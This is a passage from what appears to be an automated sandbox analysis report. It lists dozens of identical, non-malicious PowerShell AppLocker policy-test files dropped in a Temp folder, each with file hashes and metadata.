Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h25v2xh0.n1l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hfs41kgo.v40.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i0xh4y04.crz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iriyp5fy.b2f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_itl3q4kj.eap.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3d3g3li.ick.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j4hn2pev.5ym.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jhkeu2zk.foi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jilsltkv.nii.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jkrjdptr.11y.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jyoue0bv.zyi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kjv3w4pv.flh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kjzunexx.mc1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kmtkctlb.j2h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ktgoceve.wjy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mbe0y2br.5ga.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmhu01o4.a5c.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_obadi1i0.vid.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojfoq0t1.gdp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_onxzv4pt.j5w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_phi1rk0f.qgx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_phiduvke.kpi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pm1d3smf.51q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qg3y52ly.cmk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rmawihhc.z1z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tcul3z2c.rjx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_teog5qaz.clc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tug0xetr.nn2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u5tnykpd.yyv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uadhcawl.brg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2hwvscp.ded.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vo1xcine.m02.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vttk5hs5.hyz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
